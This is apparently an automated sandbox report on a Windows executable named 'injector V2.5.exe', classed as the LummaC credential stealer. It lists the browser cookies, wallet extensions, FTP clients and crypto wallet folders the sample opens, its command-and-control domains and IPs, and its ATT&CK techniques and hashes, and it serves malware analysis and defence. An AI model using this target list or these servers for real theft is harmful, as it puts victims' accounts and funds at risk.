Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match

File source: Process Memory Space: injector V2.5.exe PID: 6276, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: injector V2.5.exe PID: 6276, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
injector V2.5.exe	39%	ReversingLabs	Win32.Trojan.Generic
injector V2.5.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://frogs-severz.sbs/VQ	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/api	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/apit1	0%	Avira URL Cloud	safe
https://frogs-severz.sbs:443/apiBB2B7164E	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/s	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/7P	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
frogs-severz.sbs	104.21.88.250	true	true		unknown
revirepart.biz	104.21.43.198	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://frogs-severz.sbs/api	true	Avira URL Cloud: safe	unknown
https://revirepart.biz/api	false		high
revirepart.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs:443/apiBB2B7164E	injector V2.5.exe, 00000002.00000003.1935433049.0000000002D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://frogs-severz.sbs/7P	injector V2.5.exe, 00000002.00000003.1863121105.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1862335417.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/VQ	injector V2.5.exe, 00000002.00000003.1863121105.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1834651944.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1839575031.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939838274.00000000053DE000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1834937904.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1862335417.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	injector V2.5.exe, 00000002.00000003.1788447753.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788363210.000000000542F000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1810691488.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788551864.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	injector V2.5.exe, 00000002.00000003.1788447753.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788363210.000000000542F000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1810691488.0000000005428000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1788551864.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/apit1	injector V2.5.exe, 00000002.00000003.1914569157.0000000002DEE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/	injector V2.5.exe, 00000002.00000003.1939838274.00000000053DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	injector V2.5.exe, 00000002.00000003.1788447753.0000000005403000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	injector V2.5.exe, 00000002.00000003.1788363210.0000000005431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	injector V2.5.exe, 00000002.00000003.1839307754.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/s	injector V2.5.exe, 00000002.00000003.1935433049.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1940531601.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1939442013.0000000002D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	injector V2.5.exe, 00000002.00000003.1788447753.0000000005403000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	injector V2.5.exe, 00000002.00000003.1841001230.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	injector V2.5.exe, 00000002.00000003.1788023368.000000000541A000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1787951787.000000000541C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.43.198	revirepart.biz	United States		13335	CLOUDFLARENETUS	false
104.21.88.250	frogs-severz.sbs	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561472
Start date and time:	2024-11-23 14:16:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	injector V2.5.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 84% Number of executed functions: 37 Number of non-executed functions: 103
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: injector V2.5.exe

Simulations

Behavior and APIs

Time	Type	Description
08:17:30	API Interceptor	9x Sleep call for process: injector V2.5.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.43.198	b.exe	Get hash	malicious	LummaC Stealer	Browse
	injector V2.5.exe	Get hash	malicious	LummaC	Browse
	gdi32.dll	Get hash	malicious	LummaC	Browse
	Loader.exe	Get hash	malicious	LummaC	Browse
104.21.88.250	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse
104.21.88.250	b.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
revirepart.biz	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	172.67.184.174
	b.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.43.198
	injector V2.5.exe	Get hash	malicious	LummaC	Browse	104.21.43.198
	hmjsOnyfSB.dll	Get hash	malicious	LummaC	Browse	172.67.184.174
	modest-menu.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
	gdi32.dll	Get hash	malicious	LummaC	Browse	104.21.43.198
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.43.198
	c2_Acid.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
	XRuncher_2.5.0.6.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
	Jorieh.exe	Get hash	malicious	LummaC	Browse	172.67.184.174
frogs-severz.sbs	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	b.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	193.143.1.19

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	172.66.0.235
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.20.178
CLOUDFLARENETUS	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	172.66.0.235
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.20.178

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.43.198 104.21.88.250
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.43.198 104.21.88.250
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.43.198 104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.43.198 104.21.88.250
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.43.198 104.21.88.250
	psol.txt.ps1	Get hash	malicious	LummaC	Browse	104.21.43.198 104.21.88.250
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.43.198 104.21.88.250
	file.exe	Get hash	malicious	Unknown	Browse	104.21.43.198 104.21.88.250
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.43.198 104.21.88.250
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.43.198 104.21.88.250

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.732133080216734
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	injector V2.5.exe
File size:	501'248 bytes
MD5:	bcc3a5ac8ca364b58e08a8e771992d6a
SHA1:	36f9ad6f96a2112c5ce71dba2cd87b04f33e6e6a
SHA256:	fd0068122528a6a7042dd6301a77067e9675acbddce740e5e85e840d54f98243
SHA512:	7c3280d2c30a886261e6c2537a3bed60458cc7329a8658f08901d9b4850a31042f6c66bdddaab87c3a45042731c14c912e0f25fc2b49188665e2a42fbe13749e
SSDEEP:	12288:1JB+nneDgkXFEIAY4vKsI+koNRtw++ttp42IK7nV:bAoR2jYQKLPAtQD+fCV
TLSH:	3FB4F1AA77A3D0B3E1A2183141E49EB5466F7E700F20A4FB97601F791B366C28532E57
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...t.@g............................pX............@.......................................@.................................T...<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x415870
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6740AA74 [Fri Nov 22 15:59:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
